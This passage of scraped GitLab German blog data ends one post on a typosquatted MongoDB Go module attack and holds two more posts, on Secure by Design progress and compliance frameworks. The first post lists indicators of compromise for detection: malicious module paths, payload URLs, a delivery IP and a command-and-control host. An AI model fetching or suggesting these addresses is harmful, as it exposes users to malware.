nach Paketen, die Anzeichen verschiedener Typosquatting-Strategien zeigen.\n\n\n**Semantische Heuristik:** Unser System analysiert Code statisch auf Muster wie Netzwerkanfragen, Befehlsausführungen und andere für bösartige Payloads typische Verhaltensweisen.\n\n\n**KI-unterstützte Analyse:** Ein [Large Language Model](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/) führt die anfängliche Analyse der verdächtigen Teile des Codes durch, um uns zu helfen, offensichtliche Fehlalarme auszusortieren, komplexe Payloads zu erkennen und Verschleierungstechniken zu identifizieren, die verwendet werden, um bösartige Absichten zu verbergen.\n\n\n**Menschliche Überprüfung:** Ein Mensch erhält eine Warnung, um den Fund zu verifizieren und eine erweiterte Analyse durchzuführen.\n\n\n## Empfehlungen: Persistenten Supply-Chain-Bedrohungen voraus bleiben\n\n\nDieser Angriff unterstreicht die anhaltenden Herausforderungen bei der Sicherung von Software-Supply-Chains. Die mehrschichtige Verschleierung und schnelle Neubereitstellung nach dem Takedown zeigen, dass Bedrohungsakteure bereit sind, erheblichen Aufwand zu investieren, um beliebte Abhängigkeiten ins Visier zu nehmen.\n\n\nDer schnelle Wechsel zu neuen Typosquatting-Paketen nach unserer ersten Meldung hebt eine grundlegende Schwäche in den aktuellen Ökosystemen hervor: Paketmanager entfernen bösartige Abhängigkeiten normalerweise erst, nachdem sie veröffentlicht, entdeckt und von der Community gemeldet wurden. Dieser reaktive Ansatz hinterlässt ein gefährliches Zeitfenster, in dem Entwickler(innen) unwissentlich kompromittierte Pakete konsumieren können. Proaktive Überwachungs- und Erkennungssysteme wie das von GitLab entwickelte können helfen, diese Lücke zu schließen, indem sie Bedrohungen während des Veröffentlichungsprozesses selbst identifizieren.\n\n\nWir haben Indicators of Compromise (IOCs) im nächsten Abschnitt bereitgestellt, die in Überwachungssystemen verwendet werden können, um diese spezifische Kampagne zu erkennen.\n\n\n## Indicators of Compromise\n\n\n| IOC | Beschreibung |\n\n| ----------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- |\n\n| `github.com/qiniiu/qmgo` | Bösartiges Go-Modul |\n\n| `github.com/qiiniu/qmgo` | Bösartiges Go-Modul |\n\n| `https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html` | Payload-Bereitstellungs-URL |\n\n| `https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html` | Payload-Bereitstellungs-URL |\n\n| `https://img.googlex.cloud/seed.php` | Payload-Bereitstellungs-URL |\n\n| `http://207.148.110.29:80/logon61.gif` | Payload-Bereitstellungs-URL |\n\n| `http://207.148.110.29:80/chainelli.mp3` | Payload-Bereitstellungs-URL |\n\n| `img.googlex.cloud` | Payload-Bereitstellungs-Host |\n\n| `207.148.110.29` | Payload-Bereitstellungs-Host |\n\n| `ellipal.spoolsv.cyou` | Command & Control-Host |\n\n| `6ada952c592f286692c59028c5e0fc3fa589759f` | SHA-1-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware |\n\n| `8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c` | SHA-256-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware |\n\n| `/tmp/vod` | Temporärer Download-Speicherort der chainelli.mp3 Remote-Administrations-Malware |\n\n\n## Wie GitLab hilft, die Software-Supply-Chain zu sichern\n\n\nBösartige Abhängigkeiten wie der MongoDB Go-Modul-Angriff zeigen, warum die Sicherung der Software-Supply-Chain mehr als nur CVE-Überwachung erfordert. GitLabs DevSecOps-Plattform umfasst [Application Security Testing](https://docs.gitlab.com/user/application_security/secure_your_application/)-Scanner wie Software Composition Analysis im Entwicklungslebenszyklus, die Teams helfen, verwundbare oder bösartige Pakete zu erkennen, bevor sie die Produktion erreichen.\n\n\nGepaart mit Forschungsbemühungen wie dieser zielt GitLab darauf ab, Entwickler(inne)n zu ermöglichen, Anwendungen zu erstellen, die von Anfang an sicher sind, ohne die Entwicklungsgeschwindigkeit zu beeinträchtigen.\n\n\n## Zeitlinie\n\n\n* **2025-06-01T09:31:** GitLab meldet `github.com/qiniiu/qmgo` an Go Security\n\n* **2025-06-01T09:43:** GitLab meldet `github.com/qiniiu/qmgo` an GitHub\n\n* **2025-06-01T10:14:** GitLab meldet `ellipal.spoolsv.cyou` (`188.166.213.194`) an den IP-Block-Eigentümer\n\n* **2025-06-02T04:03:** Go Security entfernt `github.com/qiniiu/qmgo`\n\n* **2025-06-02T09:57:** Der IP-Block-Eigentümer sperrt `188.166.213.194`\n\n* **2025-06-03T09:15:** GitHub sperrt `github.com/qiniiu`\n\n* **2025-06-05T17:15:** GitLab meldet `github.com/qiiniu/qmgo` an Go Security\n\n* **2025-06-05T17:33:** GitLab meldet `github.com/qiiniu/qmgo` an GitHub\n\n* **2025-06-05T17:45:** Go Security entfernt `github.com/qiiniu/qmgo`\n\n* **2025-06-06T12:25:** GitHub sperrt `github.com/qiiniu`\n",[14,677],"2025-06-30",{"featured":93,"template":683,"slug":782},"gitlab-catches-mongodb-go-module-supply-chain-attack","content:de-de:blog:gitlab-catches-mongodb-go-module-supply-chain-attack.yml","Gitlab Catches Mongodb Go Module Supply Chain Attack","de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack.yml","de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",{"_path":788,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":789,"content":797,"config":807,"_id":809,"_type":16,"title":810,"_source":18,"_file":811,"_stem":812,"_extension":21},"/de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress",{"ogTitle":790,"schema":791,"ogImage":792,"ogDescription":793,"ogSiteName":794,"noIndex":6,"ogType":795,"ogUrl":796,"title":790,"canonicalUrls":796,"description":793},"GitLab: Ein Jahr Secure by Design – unser Update","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"Letztes Jahr haben wir das Secure by Design-Versprechen unterzeichnet – hier ist unser Fortschritt\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n \"datePublished\": \"2025-06-09\",\n }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659684/Blog/Hero%20Images/AdobeStock_479904468__1_.jpg","Ein Jahr Secure by Design: GitLabs Fortschritte bei MFA, Passwort-Sicherheit, Patches und Schwachstellen-Management. CISA-konform.","https://about.gitlab.com","article","https://about.gitlab.com/de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress",{"title":798,"description":799,"authors":800,"heroImage":792,"date":802,"body":803,"category":14,"tags":804},"Letztes Jahr haben wir das Secure by Design-Versprechen unterzeichnet – hier ist unser Fortschritt","Erfahre mehr über GitLabs CISA-konforme Erweiterungen und Verbesserungen bei MFA, Reduzierung von Standardpasswörtern, Patches und Offenlegung von Schwachstellen.",[801],"Joseph Longo","2025-06-09","Vor etwas mehr als einem Jahr hat GitLab [CISAs Secure by Design Pledge](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/) unterzeichnet, eine Richtlinie für Technologieanbieter, Sicherheit von Beginn der Entwicklung an ins Herz ihrer Produkte zu integrieren. Seitdem haben wir erhebliche Fortschritte bei der Verbesserung unserer Sicherheitslage gemacht und ein sichereres Ökosystem für unsere Kund(inn)en geschaffen, um sichere Software schneller zu entwickeln.\n\n## Die Sicherheitsziele erreichen\n\nSchauen wir uns die Erweiterungen und Verbesserungen an, die wir vorgenommen haben, um die Sicherheit über den gesamten Entwicklungslebenszyklus hinweg weiter zu verbessern.\n\n### Multi-Faktor-Authentifizierung (MFA)\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens nachweisbare Maßnahmen zur messbaren Erhöhung der Nutzung von Multi-Faktor-Authentifizierung in den Produkten des Herstellers demonstrieren.***\n\nGitLab bietet derzeit mehrere [MFA](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html)-Optionen für Nutzer(innen), um ihre Konten zu sichern. Wir bieten auch SSO-Funktionalität an, damit [GitLab.com](https://docs.gitlab.com/ee/user/group/saml_sso/)-, [Self-Managed](https://docs.gitlab.com/integration/saml/)- und [GitLab Dedicated](https://docs.gitlab.com/integration/saml/)-Kund(inn)en ihre Authentifizierungsprozesse und internen MFA-Anforderungen optimieren können.\n\nUm die Widerstandsfähigkeit der Plattform weiter zu verbessern und eine sicherere Grundlage für unsere Kund(inn)en zu schaffen, führt GitLab eine schrittweise MFA-by-Default-Einführung durch.\n\nIn den kommenden Monaten werden wir Änderungen implementieren, die alle Kund(inn)en verpflichten, MFA für ihre Konten zu aktivieren.\n\nFür Kund(inn)en, die bereits MFA aktiviert haben oder sich über die Single-Sign-On-Methode (SSO) ihrer Organisation bei GitLab authentifizieren, sind keine Änderungen erforderlich. Kund(inn)en, die noch keine MFA aktiviert haben und sich nicht über die SSO-Methode ihrer Organisation bei GitLab authentifizieren, müssen MFA aktivieren und sich für eine oder mehrere der verfügbaren MFA-Methoden registrieren.\n\nDie MFA-Einführung erfolgt in Phasen, um eine reibungslose und konsistente Annahme bei allen Kund(inn)en zu gewährleisten. Weitere Details zu GitLabs MFA-by-Default-Einführung werden in naher Zukunft geteilt.\n\n### Standardpasswörter\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens messbaren Fortschritt bei der Reduzierung von Standardpasswörtern in den Produkten des Herstellers demonstrieren.***\n\nUm die Verwendung von Standardpasswörtern zu reduzieren, nutzt GitLab zufällig generierte Root-Passwörter für seine verschiedenen Installationsmethoden. GitLabs [Installationsanweisungen](https://docs.gitlab.com/ee/install/install_methods.html) für mehrere Methoden enthalten auch Anleitungen, wie das zufällig generierte Root-Passwort für jede Installation geändert werden kann.\n\nBei einigen Installationsmethoden, wie der Installation von GitLab in einem Docker-Container, wird die Passwortdatei mit dem initialen Root-Passwort beim ersten Container-Neustart nach 24 Stunden gelöscht, um die GitLab-Instanz weiter zu härten.\n\n### Reduzierung ganzer Klassen von Schwachstellen\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Maßnahmen demonstrieren, die eine signifikante messbare Reduzierung der Verbreitung einer oder mehrerer Schwachstellenklassen in den Produkten des Herstellers ermöglichen.***\n\nGitLab hat [Richtlinien für sicheres Programmieren](https://docs.gitlab.com/ee/development/secure_coding_guidelines.html#sast-coverage) auf seiner Dokumentationsseite veröffentlicht, die Beschreibungen und Richtlinien zur Behebung von Sicherheitsschwachstellen enthalten, die häufig in der GitLab-Codebasis identifiziert werden.\n\nDie Richtlinien sind „darauf ausgelegt, Entwickler(inne)n zu helfen, potenzielle Sicherheitsschwachstellen frühzeitig zu identifizieren, mit dem Ziel, die Anzahl der im Laufe der Zeit veröffentlichten Schwachstellen zu reduzieren.\"\n\nGitLab verbessert kontinuierlich seine [SAST-Regelabdeckung](https://docs.gitlab.com/development/secure_coding_guidelines#sast-coverage), um umfassendere Sicherheitsschwachstellen für sich selbst und seine Kund(inn)en zu adressieren.\n\n### Sicherheitspatches\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Maßnahmen demonstrieren, um die Installation von Sicherheitspatches durch Kund(inn)en messbar zu erhöhen.***\n\nGitLab übernimmt alle Updates im Zusammenhang mit seinen GitLab.com- und GitLab Dedicated-Serviceangeboten. Zusätzlich veröffentlicht GitLab eine [Wartungsrichtlinie](https://docs.gitlab.com/ee/policy/maintenance.html), die den Ansatz für die Veröffentlichung von Updates, Rückportierungen, Upgrade-Empfehlungen und unterstützende Dokumentation usw. darlegt.\n\nDie GitLab-Dokumentation bietet umfassende Anleitungen zum [Upgrade](https://docs.gitlab.com/ee/update/?tab=Self-compiled+%28source%29#upgrade-based-on-installation-method) von Self-Managed-Instanzen basierend auf ihrem Bereitstellungsmodell. Dies umfasst Omnibus-, Helm-Chart-, Docker- und selbstkompilierte GitLab-Installationen.\n\nGitLab bietet auch einen detaillierten [Upgrade-Plan](https://docs.gitlab.com/ee/update/plan_your_upgrade.html), um ordnungsgemäße Tests und Fehlerbehebung sowie bei Bedarf Rollback-Pläne zu gewährleisten.\n\nJe nach Versions-Upgrade werden spezifische Änderungen ([Beispiel für GitLab 17](https://docs.gitlab.com/ee/update/versions/gitlab_17_changes.html)) für jede Version hervorgehoben, um einen reibungslosen Upgrade-Prozess zu gewährleisten und die Nichtverfügbarkeit von Diensten zu begrenzen.\n\n### Richtlinie zur Offenlegung von Schwachstellen\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens eine Richtlinie zur Offenlegung von Schwachstellen (VDP) veröffentlichen.***\n\nGitLab unterhält ein starkes Bug-Bounty-Programm über [HackerOne](https://hackerone.com/gitlab?type=team), eine [security.txt](https://gitlab.com/.well-known/security.txt)-Datei, die GitLabs bevorzugte und zusätzliche Offenlegungsprozesse hervorhebt, sowie [Release-Posts](https://about.gitlab.com/de-de/releases/categories/releases/), die Sicherheitsfixes hervorheben.\n\nKund(inn)en und die Öffentlichkeit können sich anmelden, um GitLabs Release-Posts direkt in ihrem E-Mail-Posteingang zu erhalten.\n\n### Common Vulnerability Enumerations\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Transparenz in der Schwachstellenberichterstattung demonstrieren***\n\nGitLab fügt das Common Weakness Enumeration (CWE)-Feld in alle Common Vulnerability Enumeration (CVE)-Datensätze ein, die es veröffentlicht. Im vergangenen Jahr hat GitLab iterativ auch das Common Platform Enumeration (CPE)-Feld in CVE-Datensätzen aufgenommen.\n\nDas GitLab [CVE-Zuweisungsprojekt](https://gitlab.com/gitlab-org/cves) speichert eine Kopie aller CVE-Identifikatoren, die von GitLab in seiner Rolle als CVE Numbering Authority zugewiesen und veröffentlicht wurden.\n\n> Schau dir [GitLabs CVE-Einreichungsvorlage](https://gitlab.com/gitlab-org/cves/-/blob/master/.gitlab/issue_templates/Internal%20GitLab%20Submission.md?ref_type=heads) an.\n\n### Beweise für Eindringlinge\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens eine messbare Erhöhung der Fähigkeit von Kund(inn)en demonstrieren, Beweise für Cybersicherheitseindringlinge zu sammeln, die die Produkte des Herstellers betreffen.***\n\nGitLab hat einen [Leitfaden zur Vorfallreaktion](https://docs.gitlab.com/ee/security/responding_to_security_incidents.html) veröffentlicht, um Kund(inn)en bei der Reaktion auf Vorfälle mit GitLab-Instanzen zu helfen. Zusätzlich hat GitLab Open-Source-Versionen seiner [GUARD Detection-as-Code](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/)- und TLDR-Bedrohungserkennungs-Frameworks veröffentlicht. Die Repositories für diese Open-Source-Frameworks finden sich im [GitLab Open Source Security Center](https://about.gitlab.com/de-de/security/open-source-resources/).\n\nIn ähnlicher Weise fügt GitLab Funktionalität zu seinem [GitLab.com](http://gitLab.com)-Serviceangebot hinzu, um [kompromittierte Passwörter zu erkennen](https://about.gitlab.com/blog/introducing-compromised-password-detection-for-gitlab-com/) für alle Anmeldungen, die GitLabs native Benutzername- und Passwort-Authentifizierungsmethode verwenden.\n\n## Was kommt als Nächstes\n\nDie [Mission der GitLab Security Division](https://gitlab.com/gitlab-com/gl-security) ist es, allen zu ermöglichen, auf einer sicheren, geschützten und vertrauenswürdigen DevSecOps-Plattform zu innovieren und erfolgreich zu sein.\n\nGitLabs Sicherheitsverbesserungen im vergangenen Jahr haben es uns ermöglicht, unser Engagement für CISAs Secure by Design Pledge zu demonstrieren, und sie haben unsere Plattform gestärkt und Kund(inn)en eine zuverlässigere und sicherere Grundlage zum Aufbauen gegeben.\n\nUnser Engagement für Iteration bedeutet, dass wir uns bereits auf die nächste Reihe von Innovationen konzentrieren, die uns voranbringen werden.\n\n> Um mehr über GitLabs Sicherheitsverbesserungen zu erfahren, setze ein Lesezeichen für unsere [Sicherheitsseite im GitLab Blog](https://about.gitlab.com/de-de/blog/categories/security/).\n\n## Mehr lesen\n\n* [Secure by Design-Prinzipien treffen auf DevSecOps-Innovation in GitLab 17 (Englisch)](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/)\n* [Happy Birthday, Secure by Design! (Englisch)](https://about.gitlab.com/blog/happy-birthday-secure-by-design/)\n* [Stärke deine Cybersicherheitsstrategie mit Secure by Design](https://about.gitlab.com/de-de/the-source/security/strengthen-your-cybersecurity-strategy-with-secure-by-design/)",[805,806,14,188],"DevSecOps","DevSecOps platform",{"slug":808,"featured":93,"template":683},"last-year-we-signed-the-secure-by-design-pledge-heres-our-progress","content:de-de:blog:last-year-we-signed-the-secure-by-design-pledge-heres-our-progress.yml","Last Year We Signed The Secure By Design Pledge Heres Our Progress","de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress.yml","de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress",{"_path":814,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":815,"content":821,"config":827,"_id":829,"_type":16,"title":830,"_source":18,"_file":831,"_stem":832,"_extension":21},"/de-de/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"title":816,"description":817,"ogTitle":816,"ogDescription":817,"noIndex":6,"ogImage":818,"ogUrl":819,"ogSiteName":794,"ogType":795,"canonicalUrls":819,"schema":820},"So verwendest du die benutzerdefinierten Compliance Frameworks von GitLab in deiner DevSecOps-Umgebung","Erfahre, wie sich regulatorische Anforderungen durch neue Frameworks zusammen mit mehr als 50 standardmäßigen Kontrollen von lästigen Checklisten in integrierte, automatisierte Workflow-Komponenten verwandeln.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097104/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097104092.png","https://about.gitlab.com/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"So verwendest du die benutzerdefinierten Compliance Frameworks von GitLab in deiner DevSecOps-Umgebung\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n \"datePublished\": \"2025-04-30\",\n }",{"title":816,"description":817,"authors":822,"heroImage":818,"date":824,"body":825,"category":14,"tags":826},[823],"Fernando Diaz","2025-04-30","Compliance ist mehr als nur ein Kontrollkästchen, sondern vielmehr eine wichtige Unternehmensfunktion, die sich von betrieblichen Risiken bis hin zum Kundenvertrauen auf jeden Bereich auswirkt. Für Entwicklungsteams kann es sich besonders schwierig gestalten, die Compliance-Anforderungen mit einer angemessenen Geschwindigkeit in Einklang zu bringen. Die [benutzerdefinierten Compliance Frameworks (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/) von GitLab ermöglichen eine einfache und direkte Integration der Compliance-Verifizierung in deinen Entwicklungsworkflow. In diesem Artikel erfährst du, worum es sich dabei im Detail handelt und wie du sie so effizient wie möglich einsetzen kannst.\n\n## Was sind die benutzerdefinierten Compliance Frameworks von GitLab?\n\nMit den benutzerdefinierten Compliance Frameworks von GitLab können Unternehmen ihre Compliance-Standards direkt in ihrer GitLab-Instanz definieren, implementieren und durchsetzen. Diese Funktion erweitert die integrierten Compliance-Funktionen von GitLab und ermöglicht den Teams die Erstellung benutzerdefinierter Frameworks, die mit den konkreten gesetzlichen Anforderungen, internen Richtlinien oder Branchenstandards übereinstimmen.\n\nDie benutzerdefinierten Compliance Frameworks bieten folgende Vorteile:\n* Weniger manuelle Nachverfolgung \n* Schnellere Bereitschaft für Audits \n* Native Durchsetzung von Compliance-Kontrollen\n\n![Screenshot des Compliance Centers mit einer Liste der Frameworks](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097114254.png)\n\nIm Rahmen dieser Veröffentlichung werden über 50 standardmäßig verfügbare Kontrollen bereitgestellt (weitere folgen in Kürze), die auf die individuellen Compliance-Anforderungen deines Unternehmens zugeschnitten werden können, einschließlich HIPAA im Gesundheitswesen, DSGVO für den Datenschutz, SOC 2 für Dienstleistungsunternehmen oder branchenspezifische Vorschriften. Einige Beispiele für standardmäßig verfügbare Kontrollen sind unter anderem:\n\n* Aufgabentrennung (z. B. mindestens zwei genehmigende Personen und ein(e) Autor(in) für einen Merge Request) \n* Ausführung von Sicherheitsscannern (z. B. [SAST (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/application_security/sast/) und [Abhängigkeitssuche (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/application_security/dependency_scanning/) \n* Authentifizierung/Genehmigung (z. B. keine öffentliche Projektsichtbarkeit und AuthSSO erforderlich) \n* Anwendungskonfiguration (z. B. Statusprüfungen und Terraform erforderlich)\n\nDarüber hinaus kannst du externe Umgebungskontrollen über die GitLab-API konfigurieren, um den Status und die Details einer externen Umgebung zu überprüfen.\n\n## Entwickeln eines benutzerdefinierten Compliance Frameworks von Grund auf\n\nNachdem wir nun den Wert verstanden haben, wollen wir uns im nächsten Schritt ansehen, wie du benutzerdefinierte Compliance Frameworks in deiner GitLab-Umgebung implementieren kannst. Wir verwenden dazu diese Demo-Anwendung. Du kannst den Details in diesem Video folgen. \n\n**Hinweis:** Dazu ist ein GitLab-Ultimate-Abonnement erforderlich.\n\n\u003C!-- TODO: EMBED_YT_VIDEO -->\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n \u003Ciframe src=\"https://www.youtube.com/embed/bSwwv5XeMdQ?si=unDwCltF4vTHT4mB\" title=\"Adhering to compliance requirements with built-in compliance controls\n\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Schritt 1: Definiere deine Compliance-Anforderungen**\n\nBevor du dein benutzerdefiniertes Framework erstellst, musst du zunächst deine Compliance-Anforderungen klar definieren:\n\n1. **Identifiziere die geltenden Vorschriften:** Bestimme, welche Vorschriften und Standards für dein Unternehmen gelten (z. B. DSGVO, PCI DSS und HIPAA). \n2. **Ordne die Anforderungen den Kontrollen zu:** Unterteile jede Vorschrift in konkrete umsetzbare Kontrollen. \n3. **Priorisiere die Anforderungen:** Konzentriere dich auf die Bereiche mit hohem Risiko sowie die Anforderungen mit der größten Wirkung.\n\n**Schritt 2: Entwickle dein benutzerdefiniertes Compliance Framework**\n\nSo entwickelst du ein benutzerdefiniertes Compliance Framework in GitLab:\n\n1. Navigiere in deiner GitLab-Gruppe zum Abschnitt **Sichern > Compliance Center**. \n2. Klicke auf die Schaltfläche **Neues Framework**. \n3. Wähle **Leeres Framework erstellen** aus.\n\n![Bildschirm zum Erstellen eines benutzerdefinierten Compliance Frameworks](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097114255.png)\n\n4. Gib einen Namen, eine Beschreibung und eine Farbe für dein Framework ein.\n\n![Bildschirm „Neues Compliance Framework“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097114257.png)\n\n5. Füge dem Framework eine Anforderung hinzu: \n a. Scrolle nach unten zum Tab **Anforderungen**.\n\n b. Klicke auf die Schaltfläche **Neue Anforderung**.\n\n c. Gib einen Namen und eine Beschreibung ein.\n d. Wähle im Abschnitt **Kontrollen** **GitLab-Kontrolle auswählen** aus. \n e. Wähle eine Kontrolle aus der Liste aus (z. B. mindestens zwei Genehmigungen, SAST wird ausgeführt). \n f. Klicke auf die Schaltfläche **Anforderung erstellen**.\n\n![Schaltfläche „Neue Anforderung erstellen“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097114258.png)\n\n6. Klicke auf die Schaltfläche **Framework erstellen**.\n\nDas Framework wird wie angegeben erstellt und kann nun zu Projekten hinzugefügt werden. Darüber hinaus können Compliance Frameworks mit einem JSON mit dem entsprechenden Schema [importiert](http://TODO) werden.\n\n**Schritt 3: Wende das Framework auf Projekte an**\n\nSobald dein Framework erstellt wurde, gehst du wie folgt vor:\n1. Wähle im Compliance Center die Registerkarte **Projekte** aus. \n2. **Suche** mit dem Suchfeld oder **filtere** die Ergebnisse. \n3. Wähle die Projekte aus, auf die du dein Framework anwenden möchtest. \n4. Klicke auf die Schaltfläche **Eine Massenaktion auswählen**. \n5. Wähle **Frameworks auf ausgewählte Projekte anwenden** aus. \n6. Klicke auf die Schaltfläche **Frameworks auswählen**. \n7. Wähle deine Frameworks aus der Liste aus. \n8. Klicke auf die Schaltfläche **Anwenden**.\n\n![Compliance-Center-Fenster mit Dropdown-Liste für das SOC-2-Framework](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097114260.png)\n\nDas Framework wird nun auf das Projekt angewendet, wodurch seine Anforderungen sichtbar und nachvollziehbar werden.\n\n**Schritt 4: Überwache die Compliance und erstelle dazu entsprechende Berichte**\n\nSobald dein Framework eingerichtet ist, kannst du Folgendes tun:\n\n1. Im **Compliance Center** kannst du den Compliance-Status über alle Projekte hinweg verfolgen, einschließlich Details und vorgeschlagener Korrekturen für fehlgeschlagene Kontrollen.\n2. Erstelle **Compliance-Berichte** für Audits und Stakeholder-Reviews. \n3. Richte **Compliance-Alarme** ein, um die Stakeholder über mögliche Compliance-Probleme zu informieren. \n4. Überprüfe **Audit Events**, um einen Überblick über die Maßnahmen zu erhalten, die im Zusammenhang mit den Compliance-Einstellungen ergriffen wurden.\n\n![Bildschirm des Compliance Centers mit SOC-2-Test-Framework](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097114263.png)\n\n## Praxisbeispiel: Implementierung eines SOC 2 Compliance Frameworks\n\nSystem and Organization Controls 2, besser bekannt als SOC 2, ist ein strenger Prüfungsstandard, der vom American Institute of Certified Public Accountants entwickelt wurde und die Kontrollen eines Dienstleistungsunternehmens in Bezug auf seine Sicherheit, Verfügbarkeit, Verarbeitungsintegrität, Vertraulichkeit und seinen Datenschutz evaluiert. Weitere Informationen findest du in meinem [Leitfaden zur Erfüllung der SOC-2-Sicherheitsanforderungen mit GitLab (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab/).\n\nSehen wir uns nun ein praktisches Beispiel für die Verwendung eines benutzerdefinierten Compliance Frameworks zur Überprüfung der SOC-2-Sicherheits-Compliance an, wo folgende Anforderungen gelten:\n\n* Implementierung von Kontrollen zum Schutz vor unbefugtem Zugriff \n* Einrichtung von Verfahren zur Identifizierung und Minderung von Risiken \n* Einrichtung von Systemen zur Erkennung von und zum Umgang mit sicherheitsrelevanten Vorfällen\n\n**Haftungsausschlussklausel:** Dies ist nur ein Beispiel, in dem einige der möglichen Kontrollen zur Einhaltung von SOC 2 aufgezeigt werden. Konsultiere dein Sicherheits-/Compliance-Team, bevor du eine Implementierung in die Produktion überführst.\n\nEin benutzerdefiniertes Compliance Framework für SOC 2 sieht bei Verwendung einiger standardmäßiger Kontrollen von GitLab wie folgt aus:\n\n* **Name:** SOC-2-Sicherheitsanforderungen \n* **Beschreibung:** Ergänzt die Sicherheitsanforderungen für die Einhaltung des SOC-2-Frameworks \n* **Anforderungen:** \n * **Implementierung von Kontrollen zum Schutz vor unbefugtem Zugriff** \n * Aktivierung von Auth SSO\n * Aktivierung des CI/CD-Job-Token-Bereichs\n * MFA auf Organisationsebene erforderlich \n * **Richte Verfahren zur Identifizierung und Minderung von Risiken ein**\n * Mindestens zwei genehmigende Personen\n * Autor(in) hat den Merge Request genehmigt \n * Die Committer haben den Merge Request genehmigt \n * Standard-Branch ist geschützt \n * **Einrichtung von Systemen zur Erkennung von und zum Umgang mit sicherheitsrelevanten Vorfällen** \n * Abhängigkeitssuche wird ausgeführt \n * SAST wird ausgeführt \n * DAST wird ausgeführt\n\nWenn du dieses Framework auf dein(e) Projekt(e) anwendest, kannst du überwachen, ob und wann sie nicht mehr die Compliance-Kriterien erfüllen und was getan werden kann, damit die Erfüllung der Compliance-Kriterien wieder gewährleistet ist. Beachte, dass du mehrere Compliance Frameworks für Projekte erstellen und anwenden kannst. Du kannst zum Beispiel eines für die SOC-2-Anforderungen an die Prozessintegrität implementieren.\n\n## Implementiere Sicherheitsrichtlinien, um sicherzustellen, dass die Compliance-Anforderungen erfüllt werden\n\nObwohl dies nicht erforderlich ist, können Sicherheitsrichtlinien auf Projekte angewendet werden, die ein benutzerdefiniertes Compliance Framework enthalten. So kannst du sicherstellen, dass bestimmte Compliance-Kriterien über Sicherheitsrichtlinien durchgesetzt werden. Du kannst zum Beispiel erzwingen, dass Sicherheitsscanner für Projekte ausgeführt werden, die ein benutzerdefiniertes Compliance Framework enthalten, das einen solchen Sicherheitsscan erfordert. \n\nGitLab bietet verschiedene Sicherheitsrichtlinien (Dokumentation nur in englischer Sprache verfügbar):\n\n* [Scan-Ausführungsrichtlinie](https://docs.gitlab.com/user/application_security/policies/scan_execution_policies/): Erzwingt Sicherheitsscans, entweder als Teil der Pipeline oder nach einem festgelegten Zeitplan. \n* [Merge-Request-Approvalrichtlinie](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/): Erzwingt Einstellungen auf Projektebene und Approvalregeln auf Basis der Ergebnisse des Scans. \n* [Pipeline-Ausführungsrichtlinie](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/): Erzwingt CI/CD-Jobs als Teil von Projekt-Pipelines. \n* [Richtlinie zum Sicherheitslückenmanagement](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/): 